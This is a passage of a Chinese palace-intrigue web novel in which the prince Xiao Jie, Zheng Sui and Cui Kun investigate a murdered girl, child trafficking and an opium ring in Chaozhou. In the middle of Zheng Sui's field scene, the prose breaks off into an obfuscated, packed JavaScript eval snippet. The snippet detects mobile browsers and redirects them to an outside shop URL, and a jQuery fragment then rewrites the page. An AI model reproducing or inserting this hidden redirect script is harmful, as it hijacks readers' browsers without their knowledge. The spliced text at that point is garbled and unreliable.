不见时有好多话想问,如今相见,除寒暄外却不知说些什么。萧玠将出外门时抬头,突然脚步一顿。 郑绥顺他目光看去,眉头微沉。 一旁,萧玠只愣了一瞬,便向那边走去。长巷尽头立着的那人也没料到,一时进退不能,也迎上来。 两人相距不过五步时,萧玠立住脚步,微笑道:“三哥,你还好吗?” 虞闻道和他目光一触就双肩一颤,哑声道:“臣还好。” 萧玠道:“击过掌的。” 只有虞闻道越来越急促的鼻息声。 半晌,他才艰涩问:“殿下……如今还好吗?” 萧玠笑了笑,似乎想握他的手,到底没能伸出去,只点点头,“已经大好了,比从前还要好。现在我能上朝,能帮陛下做事,也见到了我一直想见的人。只是咱们好久没说话了。” 他面对虞闻道仍有些局促,一时间也忘记郑绥在身旁,道:“其实我想,你陪我的那段时间,尤其我噩梦醒来见你握着我的手,我那时……有些喜欢你的。” 虞闻道浑身一僵,抬头,正见萧玠将那枚白玉扳指旋下拇指,轻轻道:“那件事我没有记恨你,不是你的错。但这扳指我不能要了。我有心上人了。” 空气中似有一根透明的弓弦拉紧,射出阵阵突然强劲的北风。一片死寂中,萧玠终于握住他的手,他们两个的手掌都被冷汗湿透。他打开虞闻道的掌心放下扳指,将他五指重新合拢。 “那天我很迷糊,其实半点也不记得。你也不用这样记得的。”萧玠道,“三哥,你不要自苦了。” 虞闻道双唇紧闭,发出短促模糊的喉音。面前萧玠笑意明净,像即将随水东去的晚春。 萧玠说:“时辰不早了,我先走了。世子也出宫吧。” 虞闻道身形一僵,躬身相送时,只觉被人用力握了握手腕。他抬头,见郑绥冲他点了点头。 萧玠没有回头,梗着脖子一气走了很远,直到临近宫门才止步,转头问身边的郑绥:“我有没有失态?” 郑绥道:“殿下礼度委蛇。” 萧玠表情微松,一口气未出,便听郑绥问:“殿下如今心有所属吗?” 萧玠在袖底捏紧手指,道:“是。” 郑绥点点头,“他待殿下好吗?” 萧玠道:“心照神交。” 郑绥道:“那就好。” 又是片刻沉默。 萧玠搜肚刮肠,终于想起他们都相熟的另一个人:“今天在朝上,你也瞧见了崔鲲。我是说,崔娘子。” 郑绥脚步一顿,像要解释:“殿下……” 萧玠笑道:“天知地知,卿知我知。” 郑绥目光闪动,低声道:“臣并非着意欺君,也不是有意欺瞒殿下。但此事非同小可……” “我晓得。鹏英身怀大才,若因男女之限枯锁深闺,那才是罪过。”萧玠道,“和离之后……鹏英无心婚嫁,暂无大碍。只是你以后若要娶妻……” “我不娶妻。”郑绥说。 他很少这样截然打断萧玠,萧玠微愣,还没来得及讲话,便听不远处有人叫道:“殿下。” 他一见人,眼睛顿时一亮,快步走上前,“你来了。” 那人笑道:“刚从行宫演练回来,看着下朝的时辰要到,来迎殿下一同回去。” 萧玠牵住他手,扭头对郑绥道:“绥郎,这是行宫琵琶手沈七郎,你应该见过几面。就是他。” 郑绥看向沈娑婆,目光又移到二人交握的手上。两人互相问过好,郑绥便道:“臣去拜见皇后殿下,先行告退。” 萧玠问:“一会一块吃饭吗?” 郑绥觐见杨皇后之后,总会来东宫站站,大多一起用膳。 郑绥道:“臣尚未归家,还未拜见家母。” 沈娑婆也笑道:“殿下要同将军叙旧,也不在这一顿饭的功夫。来日方长呢。” *** 既如此,郑绥便先行辞去,我和萧玠也回东宫。萧玠近日向皇帝替我求了鱼袋,好作出入宫闱之用。 那我和他相好的事,皇帝是知道的。 进了殿门,我便松开萧玠的手,往里头去抱琵琶。等坐定调好弦,萧玠仍停在帘下看我,神态有些惴惴。我便笑道:“殿下站着干什么,过来,臣今日和众位同僚新编了龙虎谣的调子,殿下听听看。” 萧玠应一声,走到我身边坐下。我将新曲弹一边,见他仍半低着头,笑道:“殿下,心不在焉什么呢。” 萧玠道:“我同他就是说话而已。” 我故意问:“他,哪个他?” 萧玠有些着急,叫我:“七郎。” 我笑道:“好啦,臣虽小心眼,但还不至于不讲理。小郑将军少在京城,以后还不知多久回一趟,臣也犯不着为个几年见不着一面的故交吃醋。” 萧玠神色却有些微妙,我等了一会,他才开口:“七郎,只怕今后,我要常同绥郎打交道了。” 听他讲完原委,我将琵琶搁在榻上,只是说:“那也是国事,是皇命。国事最大,皇命难违。” 萧玠忙抱我的手臂,也不敢撒娇,只低声说:“七郎,你别这样。” 萧玠性子软和,却少见他这副作态。我乐得逗他,继续没什么表情地问他:“殿下的意思,不就是撇臣在京城,和小郑将军一块南下么?” 萧玠忙道:“这是公事呀,不是我的私心。” 我道:“是公事,这才叫有缘千里来相会呢。再说,殿下今日见了小郑,心里没有一丝一毫的高兴?” 萧玠嗫嚅:“他是我少小的朋友,你之前,我只有他一个朋友。” “那就是高兴。”我咀嚼那两个字,“绥郎——听着倒像叫情郎。” 萧玠坐得更近,下巴垫在我肩上,说:“不是的,我打小这样叫。”又问:“你若不放心,跟我一块去,好不好?” 他气息吹在耳边,有些风抚发丝般的微痒。我心中受用,故意道:“殿下是去忙公事,臣跟着算怎么回事?” 萧玠说:“你们不是在编新曲吗,就当出去采风。南地民歌独特,如能入曲也是极好。” 他要去拉我的手,手臂一动带得我袖子一撂,便听萧玠急声问:“胳膊怎么了?” 我看向手臂上那条伤口,已不渗血,便道:“今日搬乐器不小心划伤了,小伤口,不妨事。” 萧玠却着急,“也不包扎也不上药,你干什么呀?” 我见他要找药箱,忙拉他过来,笑道:“殿下,臣和你闹着玩呢,臣没生气。你是去忙正事,臣不该耽误你。” 萧玠叫我抱着,轻声说:“你不会耽误我呀。白日咱们各忙各的,晚上一块吃饭罢了。” 我笑问:“晚上只一块吃饭吗?” 萧玠没答,红意却从耳后染到脸上。许久,我才听他低低问:“那你去吗?” 我看向手臂伤痕,终于下定决心,叹道:“不敢拂逆钧令。” *** 郑绥辞宫还家时已经黄昏,刚跨过门槛便听府中一片哄乱。丫鬟见他来,忙拉着他往里赶,叫道:“郎君可算回来了,国公爷和夫人在里头哭作一团,求咱们夫人入宫见娘娘呢!” 听闻外祖一家登门,郑绥心知何事,赶忙入内。正听外祖母冲母亲杨茗哭道:“冤孽,冤孽!我一辈子生养你们兄妹三个,只图有人养老送终。你哥哥犟种一个不说也罢,你妹妹尊为国母,本以为满家能过过太平日子,谁知她一出口就要你爹的命,我在外头磕头都不肯见哪!阿茗,好闺女,爹娘就剩下你一个贴心的孩子,你去求求你妹妹,求她高抬贵手给咱们全家一条生路吧!” 郑绥快步冲上前,将外祖母搀扶起来,柔声道:“渭婆快起来,咱们有话好好说。” 温国公夫人却不肯起身,靠着他哭道:“你小姨好狠的心,挖了咱们家的爵位就是断了杨家的命根!温国公府百年荣光若毁到你渭爷手里,他这把老骨头还怎么活唷!” 郑绥轻声道:“渭婆,这事儿,求皇后没用。” 温国公夫人一愣,瘫坐在一旁椅中的杨韬也看过来。郑绥终于扶她坐下,道:“渭婆细想,含元殿外禁军把守,皇后殿下又是如何越过禁军队伍脱簪待罪?庙堂状告非同小可,殿下又身为国母,如果所求与天心相悖,陛下又当如何?” 国公夫人颤声道:“是陛下的主意?” 郑绥道:“陛下当政十数年,手段之雷厉渭婆眼见耳闻,从前的汤氏、如今的王云楠下场如何?” 国公夫人叫道:“你渭公若是罪大恶极我认,可他只是替门下走动关系,旁人送上府的孝敬,退回去要寒人家的心!只这样芝麻大的事,陛下要夺爵罢官,也太过了!” 郑绥沉声道:“以我所见,杨家甚至不在陛下眼中。陛下处置渭爷,实则是一道檄文。” 杨韬眉头紧锁,道:“阿绥, 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杨韬冷笑:“她糊涂,我看她清醒得很!她嫁进萧家就是萧家妇,如今皇帝夫妻同心,就怕杨家的根基拔不动呢!别说旁的,她进宫还端着裴玉清的神主,裴玉清是怎么死的?只怕这么多年你女儿就等着这一天,等着能搞垮这些人,给裴兰桥报仇雪恨呢!” “连娘娘都做不了主……”温国公夫人突然想起什么,“太子!阿绥,你不是太子伴读吗,你求求太子。皇帝最听太子的话,他当年为了给太子治病,就差把心肝挖出来了!太子如果说一句,一定有转圜之机!” 郑绥道:“渭婆恕罪,这个忙,我帮不了。” 温国公夫人一愣,大力甩开他手臂,以手指他,连声叫道:“好、好,你这个……” 不待她说完,杨茗蹙眉打断:“娘,阿绥从军之后就是外臣,外臣结交东宫,你要他把性命赔上?” 温国公夫人也叫道:“阿茗,你如今也要为一个外人不顾杨家吗?” “娘!”杨茗腾地起身,厉声喝断。她胸口剧烈起伏几下,指了指郑绥,“阿绥,你过来。” 郑绥看看外祖母,到底走向母亲。杨茗拉他在身边,“娘,这里是郑家,阿绥是我和素郎的长子、郑家的长孙和以后的当家人。我若再听到这种话……娘,您就当这辈子,没养过我这个女儿吧。” 杨韬夫妇离去后,杨茗再撑不住,伏在案上落下眼泪。郑绥跪在她身边,轻声道:“娘,皇后殿下既然与陛下同心,说明杨家并无大祸。但此事只是开端,陛下一定再有动作。今后但凡与世家妇交往,您都要留心留神。若有内眷递话想要咱家帮衬……” 杨茗道:“我晓得,快起来。一回家一口热饭没吃就忙这些事情。”又问:“燕微呢?你们不曾一同回来?” 郑绥一愣,道:“在路上染了风寒,怕过病给娘,没有前来拜见。儿子不日启程,也携她一同南下,不能侍奉母亲,还望母亲见谅。” 杨茗一笑,眼边细纹显露,“自然以国事为重。你们两个感情好,爹娘也安心。” 热汤送上来,郑绥接过,便见案上搁置一条马鞭,白玉做柄,鞭身掺杂金线,瞧那大小只为儿童所用,便问:“是阿缚的东西?” 杨茗笑道:“是,前些日他的生辰,一些儿郎们送的玩意。” 郑绥沉吟片刻,道:“娘,如今陛下改革军制,朝中一家之军独崤北而已。父亲是旧权,儿子算新贵,咱们又是皇亲,不知多少人眼热。阿缚虽小,也要谨慎了。” 杨茗颔首,“你说的是。有你看着他,我也放心。” 郑绥仍捧着那盏汤,没搁下,也没有饮。片刻后,他方开口:“太子殿下……” 杨茗却没等来下文。 郑绥将汤吃完,向她一揖,道:“军中冗事颇多,也耽搁了练字。娘,我去写几张帖子,您早些休息。” *** 圣旨下达不过五日,皇太子再下潮州。 先前潮州谋逆成了萧恒的心病,此番除东宫卫率外,又着龙武卫近身护送,更别提还有郑绥受军印南下统调潮州折冲府。如今铜墙铁壁,萧恒才能稍稍安心。 一到潮州,崔鲲便请十数账房重审账目,算盘噼啪声十日不绝。同时,她与萧玠一同调看程氏兄弟掌权以来的全部卷宗,对外张榜,如有冤狱但问官府。一个月来,击鼓声满溢街衢,州府衙门有如闹市。 一日日暮,萧玠刚和郑绥会合,正要一块检看军械库情况,一下台阶,一条人影便直直扑来。 郑绥将萧玠一掩,抽剑而出时被萧玠紧紧拉住。这一拉一扯,那人已放声哭道:“求殿下给我闺女做主!” 萧玠这才看清,那是个蓬头妇人,身形佝偻,望之四十许人。她身后拖着草席,扑通跪在萧玠脚前,哭道:“我闺女也是叫人拐了,程义落网后,陛下叫官兵追查才找回来。可是……可是……” 她泣不成声间,郑绥已上前拆看草席。萧玠正要跟去,已闻到一股腐臭之气,郑绥当即将席子一合,将萧玠拉到身后,压低声音道:“已经烂了。” 那妇人放声哭道:“我闺女被开膛破肚,找着的时候肠子都翻出来了!就算她是叫人糟蹋,多少还有条命啊!殿下做主,求殿下给我闺女做主啊!” 83.第 83 章 死者李稻穗,年十五,尸首由折冲府于北郊破庙找得。其母钱氏上告。 仵作验尸之时,钱氏哀哭之声响彻州府。她高声叫道:“别脱我闺女的衣裳,她是个小姑娘,她还是个小姑娘!” 崔鲲亲自端了热茶前去宽慰。一群人扶的扶搀的搀,脚步杂乱间,女孩由卫队抬到后堂。 草席解开,露出一张青白面孔,皮肤凹陷,像一团烂肉被一层描画五官的薄布包裹。仵作摆开工具,先清理李稻穗腹腔处的脓块与蛆虫。 萧玠站在一旁,身体有些不稳,由郑绥一把扶住。郑绥道:“找到她的折冲府队长来了,咱们先过去。” 萧玠颔首,由郑绥带到屏风前。一个身穿皮甲的青年人快步上来,冲萧玠抱拳,“卑职潮州折冲府辰右队队长刘老虎参见殿下。” 萧玠道:“此案已过两日,为什么没有立即上报?” 刘老虎道:“殿下恕罪,按折冲府章程,卑职无权直接奏报。得先拟成公文,大小案件合封盖印,再统一呈送州府。” 萧玠微皱眉头,“这样繁冗。” 刘老虎叹道:“谁说不是,但卑职只得按规矩办事。” “这件事以后再说,”萧玠追问,“现场情形如何?” 刘老虎道:“我们赶去时罪犯逃窜不久,没有留下痕迹,暂时未能追查到。庙中留下四具女尸,应当都是被拐妇女,年纪最高不过二十。” 他顿一顿,道:“都是破腹而死。” 萧玠脸色惨白,还要再问,仵作已摘下手套,过了屏风。萧玠忙问他:“如何,尸首有什么异样?” 仵作道:“死者左胸口有一处贯通伤,应当也是致命伤。殿下看到,死者腹部被剖开,体内肝脏没有异常,但胃部被切开。尸体没有其他伤痕和挣扎痕迹,排除死前活剖的可能。” “所以是先杀人,再破腹。”萧玠道。 仵作颔首,“应当如此。” 萧玠皱眉,和郑绥对视。 按刘老虎所述,官兵紧追在后,罪犯怕李稻穗等人泄露其事杀人灭口,可以理解。但为什么在贯穿心口之后,又费时割开她们的肚子? 此举意欲何为? 萧玠思不得解,回神时已走到前边,久久看着那女孩子的脸,正要解下披风,郑绥已将外袍脱下,盖在女孩身上。 他扶住萧玠,对仵作道:“此案还关涉三具女尸,有劳验看。李队长,卷宗立即整理上报,不得有误。” *** 堂前,崔鲲半蹲在地替钱氏抚背,缓声道:“大娘,你说李娘子是走失,她是在何时何地失踪的?” 钱氏已哭昏过一次,抽噎道:“今年上元,说去灯会卖络子……白天出去,晚上也没见人,我和她妹妹们去找,都说没见着。” 崔鲲问:“我看娘子年纪轻,从前也做这营生吗?” 钱氏道:“没,今年年成不好,她手巧,说要补贴家用,哪里想到……” 一见萧玠过来,钱氏当即扑到他脚下,哭声震天,闻者落泪。萧玠将她搀扶起来,柔声道:“大娘放心,我定会同崔使君偕力查明此案。娘子冤情未申,大娘千万保重身子。” 崔鲲不敢耽误,跟李老虎去对接卷宗。郑绥叫了轿子,又叫衙役将李稻穗的尸首抬回,重返州府,见萧玠坐在椅中,手捧茶盏,盏子轻轻颤抖。 郑绥本要伸手,却在两步外硬生生住步,叫道:“殿下。” 萧玠浑身一战,抬头见是他,笑了笑:“绥郎。” 郑绥从他面前蹲下,轻声问:“殿下在想什么。” “在想鬻女案的事。”萧玠垂眼看他,“王云楠已死,程忠兄弟也已然伏法,小秦淮的路子也断了,鬻女案居然还在进行。” 郑绥蹙眉,“京中不乏高官,高官之中,不乏龌龊之辈。” “但这件事正在风头,我又屡次牵涉。陛下雷霆之怒,便是抄家斩首。”萧玠道,“京中狐狸狡猾,岂会为了猎艳之快冒此大险?” 若不是官吏私狎,这些女孩要卖去哪里? 牵系鬻女案的,究竟还有什么人? 萧玠正出神,手中冷茶已经被郑绥拿过放在案上。郑绥未着甲胄,竹青长衫在身,竟有些文士儒雅之气。他低声道:“崔鹏英已经去调看卷宗,今夜当有眉目。殿下还是先去服药。” 萧玠一愣,道:“我睡前服药的。” 又瞬间醒悟,解释道:“今年换了药方。” 郑绥点了点头,不再多说什么。 两人枯坐一会,相对无言。萧玠有些不自在,起身推开窗透气,正见院内有树亭亭如盖,便找话道:“在京中倒没有见过这树。” 郑绥随他看去,道:“是枇杷树,北边难养,但也能养活。” 他顿了顿,又道:“过两个月要结果子,殿下可以叫沈郎帮忙熬些膏吃,可以润肺,对喉咙也好。” 萧玠低低应一声,无复有话。 好容易等到崔鲲回来,萧玠松一口气,当即起身上前,看清崔鲲神色,一颗心又悬吊起来。 郑绥也走过来,问:“出了什么事?” 崔鲲双眉紧锁,“我刚刚调看簿子,今年正月十五潮州暴雨,一律闭市,并没有举办灯会。” 萧玠倒吸口气,对上郑绥双眼。 钱氏在说谎! 萧玠声音紧绷:“李稻穗果真是钱氏的女儿?” 崔鲲颔首,“千真万确。钱氏膝下三女,李稻穗居长。但若按常理推之,女儿走失之日,父母必当登府衙报案。但臣调看正月到二月州府及其所在县乡的案卷,并未有钱氏的诉状。” 这才是百思难解之处。 钱氏若非爱女,何以今日喊冤。若果真爱女,又为何口出诳言? 她为什么要在李稻穗“失踪”一事上撒谎,女儿失踪之日她为什么没有报案? 她在遮掩什么? 萧玠看向崔鲲,嘴唇微张,便听郑绥道:“我去一趟。” 他又对萧玠道:“夜深露重,殿下单行太过冒险,率众又怕打草惊蛇。鹏英更不成。” 她是个女孩儿。 萧玠颔首,还未及说话,尉迟松已经快步入内,向萧玠抱拳:“仵作那边有了新线索,请殿下过去一趟。” 崔鲲当即安排:“我陪殿下去找仵作,小郑去寻钱氏。此案有鬼,万事小心。” *** 钱氏家住浣纱塘东,塘子本无名,只是乡人常年在此浣洗衣物,勉强以此叫来。 郑绥马蹄将至时夜色已深,塘东稻田里仍有农人,泥土气息翻动阵阵稻苗清香,伴随而来的还有镰刀割草的清脆喀嚓声。 郑绥怕踩踏秧苗,准备下马绕道,也就是这一矮身,让他免跑一趟。 他在水田角落看到了钱氏。 钱氏身背篓筐,裤腿挽上膝盖,两袖也搂到肘间,弯腰提镰除草。两个女儿一大一小,大的提盏油灯在前照亮,小的坐在筐里,仍旧啼哭不止。 郑绥没有袖手,拴马解掉鞋袜,从腰间拔出一把短剑,一边躬身除草,一边向钱氏赶去。只从塘西到塘东的距离,他就明白了钱氏不过四十年纪,为何衰老至此。沾露的草叶利如剑芒,一拉一拔即能割出血流。母亲杨茗保养得宜的柔荑闪现眼前,而不远处,钱氏双手老茧满结。 即将到钱氏身后时,筐中女孩见生人哭起,钱氏这才托筐转身,看到郑绥,满面惊惧,叫道:“官爷……” 郑绥笑道:“殿下见大娘衣衫旧了,又失了娘子,恐怕家中更为困难,便差我送些银钱暂用。正碰见大娘下地,我许久不干活,也松动松动筋骨。” 钱氏眼中疑虑淡去,忙道:“哪能叫官爷劳动。” 郑绥将杂草齐根斩去,道:“在营里也常做这些。” 他手上利落,边同钱氏交谈边往前赶。钱氏抬臂蹭了蹭汗,道:“也就是当年六哥……妾身是说陛下——除了陛下在潮州那一段,哪里再有几个下地帮忙的官人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604367|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑绥笑一笑,见竹筐襻绳已勒进她双肩,道:“我来背妹妹吧。” 钱氏忙道:“哪能,她怕生,好哭闹,不敢麻烦官爷。” 郑绥看那女孩,问:“我背你,让娘歇歇,成不?娘肩膀痛。” 女孩点头道:“好,不要娘肩膀痛。” 不等钱氏呵斥,郑绥已上手替她解下竹筐,将女孩稳稳背在背上,笑道:“坐稳了,咱们翻地喽。” 他是男人,看来也做过农事,行动干脆利落。大些的女儿提灯往前跑,笑着喊:“娘,今儿能早回去了!” 钱氏笑了笑,神色隐在夜色里,说不好还有什么情绪。 郑绥手中动作,便与她闲谈:“家里大爷呢,这么晚了,怎么叫大娘带着孩子们下地来?” 钱氏道:“他出去卖货,卖货。” 郑绥问:“卖什么货。” 钱氏道:“什么都卖。” 郑绥便不再追问,只同她寻常说话。天渐渐潮热,不过一会,便噼里啪啦坠落雨点。郑绥道:“瞧这雨小不了,这横沟纵沟开得好,定没什么大问题。大娘,我没带雨具,不知能否家去避避雨?” 钱氏直起身,空气凝滞的瞬息,郑绥从她脸上捕捉到迟疑之色。 小女儿从郑绥背上打了个喷嚏。 钱氏双手从裤腿上一擦,说:“家去。” 赶到钱氏家中,外头大雨已落。 钱氏家不过一间草房,屋内潮湿,雨沤稻草的潮气如蒸。钱氏打开一口大木箱,翻出一套蓑衣箬笠递给郑绥,道:“妾得去迎她们爹,家里这个样子,也没法招待官爷。家里只剩这套穿戴,还望官爷莫要嫌弃。” 郑绥道:“雨这样大,大娘还要去迎?” 钱氏笑笑:“不远,不远。” 郑绥看看她,再看看两个女孩,道:“李大娘子的案子,在下还有话要问。” 钱氏浑身一僵,“官爷有什么要问的?” “李娘子果真是灯会失踪?”郑绥盯着她双眼,“她究竟是因何被卖,又被谁所卖,大娘,你心中其实明白,是不是?” 钱氏支吾道:“我……我不明白,官爷,我不明白你说什么。” 郑绥道:“那李娘子这件案子,大抵破不了。” 钱氏一愣,声音抖得厉害:“为什么……为什么破不了,我闺女一条人命,为什么破不了?” 郑绥道:“大娘所讼娘子灯会走失,首先要追究举会之人。但当夜无会,追查无果,只能作为悬案高挂。” 他沉声道:“大娘,李娘子冤魂能否安息,全在你一念之间。” 门外大雨如雷。 郑绥压力般的注视下,钱氏看看两个女儿,又看看窗下一只一层的小妆奁,身体瘫软在地,放声哭道:“我……我不告了,官爷,我不告了,你就当我没有来过,就当没有见过我吧!” 郑绥道:“但李娘子的尸首仍在州府,大娘没来过,那就由州府做主安葬。葬地何处,由使君定夺。” 钱氏搂紧两个女儿,哭声哀哀。突然,她像透过大雨,听到什么连郑绥都没有察觉的响动。 一瞬间,她双眼睁大,连滚带爬地起身,拉住郑绥手臂急声叫道:“他回来了,他这就回来了……好官爷我求求你,快走,你快走吧!” 郑绥握住她手腕,双眼微眯,透过门缝,看到一个枯瘦摇晃的黑影。在暴雨当中,宛如鬼形。 一个闪电劈落,州府墙壁上如同鬼影的烛火一跳。萧玠眉头紧皱,听仵作说:“这四具尸首胃中无有粒米,死前应当断绝了至少一日的饮食。在其中一个的腹内,草民发现了残留的……” 萧玠追问:“残留的什么?” 钱氏面前的木门被吱呀推开。 郑绥踞于梁上,看见男人的一瞬,一切疑虑大白。 那青灰干瘪的脸,骨瘦如柴的身形,还有他手中那散发的缕缕白烟的—— “阿芙蓉膏。”仵作道。 84.第 84 章 李稻穗死后第三天,其父李大为迎来三个不速之客。 三人自称兄弟,小弟男生女相,脸面清秀。二哥身材挺拔,最为高大。大哥言笑晏晏,内秀文弱。 大哥说:“我们兄弟从外乡来,听闻贵地有膏,食之欲仙,却不得门路,特来拜问尊驾。” 李大为问:“啥意思?” 钱氏在旁道:“问你哪里买膏吃。” 李大为叫道:“什么膏,谁跟你们说我有膏?你这婆娘又朝外胡咧咧什么?” 二哥说:“不怪这位大娘。我们只听闻这边有的买,便挨家挨户问一问。携带珠宝到底不便赶路,不若全换作烟膏便宜。” 李大为眼睛一直,“珠宝?” 小弟说:“走南闯北,一些不入流的玩意罢了。什么蓝田的玉,京城的翠,东海的珍珠,齐国的水晶……” 李大为叫道:“玉,翠,珍珠……水晶!” 二哥笑着,从怀中取出一串玛瑙手串,放在李大为掌中,道:“家里做这些买卖,金银宝器,无甚乐趣。所以特来贵地,求个新鲜。” 那串玛瑙粒粒饱满,滴滴血红,在手心沉甸甸,放射万道金红光芒。李大为道:“你们这些娃子只贪新鲜,这用膏可是犯法的,一不留神,脑袋不保!” 大哥道:“有钱能使鬼推磨。有钱,掉一个脑袋,脖子上就能长出两个。” 小弟道:“我看也别难为这位大爷,咱们去别家问问。” 他说着要将玛瑙手串拿回,却被一双枯手死死握住。李大为眉开眼笑:“有门,有门!” 他扭脸冲钱氏道:“没眼没见的,贵人驾到,还不赶紧去烧水冲茶!” 等钱氏带两个女儿出门,李大为方拢着玛瑙串子低声道:“我看众位也是颇有缘分,此地名为神楼,是天上神仙居所,只有每月初一十五才开楼门。这不,明天就是五月初一,神楼大开的吉日。” 大哥问:“神楼?” 李大为笑道:“可不是!那边白天不过一片荒地,但到了夜里,真是热闹非凡,明灯千层,只怕连皇宫大内都比不上的阔气!要不是神仙法术,何以至此?” 他眼珠滴溜溜一转,“但是神仙居所,可不是什么人都能进的。要进门,先得这个数!” 小弟看他伸出一根手指,问:“一两?” 李大为摇头。 二哥皱眉:“十两?只进门,就要十两银?” “十两银?是十两金!”李大为道,“第一次进门,先要带十两黄金,便能拿到花契,才算摸着门槛!” 大哥四下打量,说:“看不出尊驾如此简朴,竟是怀财不露。” 李大为咧嘴一笑,神秘兮兮,“十两金是专为各位贵人们设的,那主人家也体谅咱们苦哈哈出身,不要金,也不要银。” “一个黄花闺女,或者两个奶娃娃都可以。” 大哥仍盯着他看,眼神却有些瘆人。李大为心头发毛,大哥已微笑起来:“那您家两个闺女不就是现成的营生。” 李大为叹道:“不中用,算女人年纪忒小,算娃娃年纪又忒大。都不如她们大姐有孝心。” 小弟问:“大姐?” 李大为笑道:“她大姐可是上等的好苗,不光给了花契,还多给咱一吊钱喝酒去呢!她大姐刚去,这娘们没日没夜哭天喊地,打也管不住。一上来怠慢各位郎君是我有眼无珠,也是怕她咧咧出去,这不是把咱给害了吗!” 二哥说:“要管住大娘,这不是有现成的法子。” 李大为笑:“可不是!自打我说要发卖两个小的,也不敢哭叫,干活都麻利了。” 小弟问:“您可收着过大娘子的消息?” 李大为道:“一入仙门,就是仙人。各位,进去可是锦衣玉食山珍海味,一年不断的膏养着她,那是全了孝心去享福了,咱可不能拖孩子的后腿!” 小弟点点头。 二哥一声不吭。 大哥皮笑肉不笑:“很是,很是。” 小弟道:“大爷,我们兄弟着急赶路,不知何时才能代为引荐?” 李大为笑道:“好说,好说,明晚亥时,我去村头迎各位。各位放心,老李办事,就是个义字!管保各位顺顺利利地进,太太平平地出!” *** 【三兄弟退场,李大为点燃一盏油灯,照亮舞台原本黑暗的一角:一把太师椅,一张四角桌,桌上茶壶嘴白烟滚滚,桌边坐一个头戴斗笠的人。】 李大为:您真是料事如神!连这三人形貌都描述得分毫不差! 【斗笠人抬手,李大为匆忙递过玛瑙手串。】 斗笠人:(把玩手串)你如果在州府当差,会发现它曾经出现在前任潮州刺史程义手上。 李大为:(迟疑地)您的意思是,这三位是官府的人? 斗笠人:嗯? 李大为:他们若是官府的人,咱们岂不是替贼引路,自投罗网?就像我家大闺女的事,您着意让我告诉婆娘,她娘们家没见识,可不就上衙门告状嘛。这一告,连仙膏都牵扯出来,那皇太子若追查下来…… 斗笠人:这就不是你该多嘴的事了。明晚亥时,务必将三人领到场中。 李大为:(连声喏喏)是,是,只是咱们说好的…… 【斗笠人从衣襟中摸出一物,抛给李大为。是一块打成四瓣花的铜块。】 李大为:(两眼放光,涎着脸笑)多谢贵人,多谢贵人!哎哟,这个月的膏又有着落了,您真是仙人圣人好心地的大善人!您放心,这事交给我,保管妥妥帖帖,万无一失! 【李大为退场,斗笠人端过油灯,点亮桌子另一边的烛台。桌对面另有一张太师椅,椅中坐一个人,灯光只照亮人形,浑身漆黑,像个影子。】 影子人:(略带斥责)你要学孙猴子捅天窟窿,一旦天河倒灌,我们头一个把你扔下船! 斗笠人:(转动手串,呵呵笑着)老兄,别忘了,你们还要和我合作。或者说,你们的命有一半攥在我的手里! 【影子人手臂一动,一柄匕首射出,手串丝线断裂,珠子滚落满地。】 影子人:你的命现在就在我手里。敢跟我耍花样,我叫你浑身上下百十个部件,噼里啪啦,如同此珠! 斗笠人:好大的气性。有道百年修得同船渡,你我一条船上的蚂蚱,竟没有半分信任。 影子人:(冷笑)信任?设计钱氏奔府告发,好让萧玠彻查此案,只差把我们曝之于众——谈何信任! 斗笠人:尊驾见识广博,四海兵器无有不识,依尊驾看,杀人不见血的是什么刀? 影子人:天下从没有这种刀。 斗笠人:非也,杀人无血,死人之刀。 影子人:死人要如何杀人? 斗笠人:尊驾岂不闻‘百足之虫,死而不僵’?王云楠临死之前,还给皇帝留下一份大礼。不叫太子进门,谁来拆封,咱们如何看得好戏开场? 影子人:太子岂会任你摆布? 斗笠人:那就请君拭目以待。 影子人:(阴恻恻地)你的计划已经失败过了,这是你最后一次机会。 斗笠人:尊驾放心,有这位在,管保太子插翅难逃。 【斗笠人身后,又亮起一盏蜡烛。蜡烛后屏风一盏,屏风后坐着人影。】 *** 潮州民歌曲调清新,编入琵琶确有妙处。当地乐手也不乏大才,你来我往地讨教过后,我再回院中已近日暮。 天外一层濛濛细雨,薄罗衣衫贴上肌肤。刚打起帘,便听见屋里有人低低咳嗽。 我便踏进去问:“是受了冷?要不要暖盆炭来?” 萧玠正放下药碗,冲我笑道:“你回来了。” 萧玠仍穿出去时那件素袍,看来是刚回来不久。他雨天爱犯懒,但凡回屋就要靠个枕从榻上歪着,如今手头没事,却仍规规矩矩坐在椅里,外出的那件袍子也沾湿了,竟没脱下来。 我往桌上一瞧,除他的药碗,还放着两盏犹带热汽的茶水。 我心中了然,便搁下琵琶,走到他面前。萧玠笑道:“刚刚吃药急,呛了一下,不妨事。” 我问:“苦吗?” 萧玠笑道:“今晚给你留个碗底尝尝。” 我笑道:“何须碗底,殿下舌底就够了。” 不待他脸红,我便掐住他的脸亲下去。 萧玠吓了一跳,忙要推我,叫道:“大白天的,你别闹,鹏英和绥郎他们……” 我捏了捏他的脸,故意道:“七郎跟前,还想着绥郎?” 萧玠忙要解释,一张口就叫我抓住时机和他纠缠起来。他仍要挣扎,只惜这段时间以来,我已经拿住他的命门。他身体太敏感,我从他后腰捏了两把,萧玠便使不上力,亲吻声里也带了点哽咽,手上虽仍推我,整个人却要瘫在榻上。 我在这时抬起脸,将他提抱到榻上坐好,冲前头笑道:“原来家里有客。” 这时那两盏热茶的主人已经复返,从竹帘外进退不是。 萧玠匆忙擦了擦嘴,脸色红白交错。还没开口,竹帘已被打起,一人先行笑道:“在下潮州刺史崔鲲,这位想必就是沈郎。” 我便抱袖笑道:“崔使君好。”又冲他身后少年道:“小郑将军,又见面了。” 郑绥看看我,再看看萧玠,也冲我抱手,“沈郎。” 这一会,萧玠已勉强恢复镇定,找到话题:“鹏英,你们吃茶,茶要冷了——我们刚刚说到哪里了?” 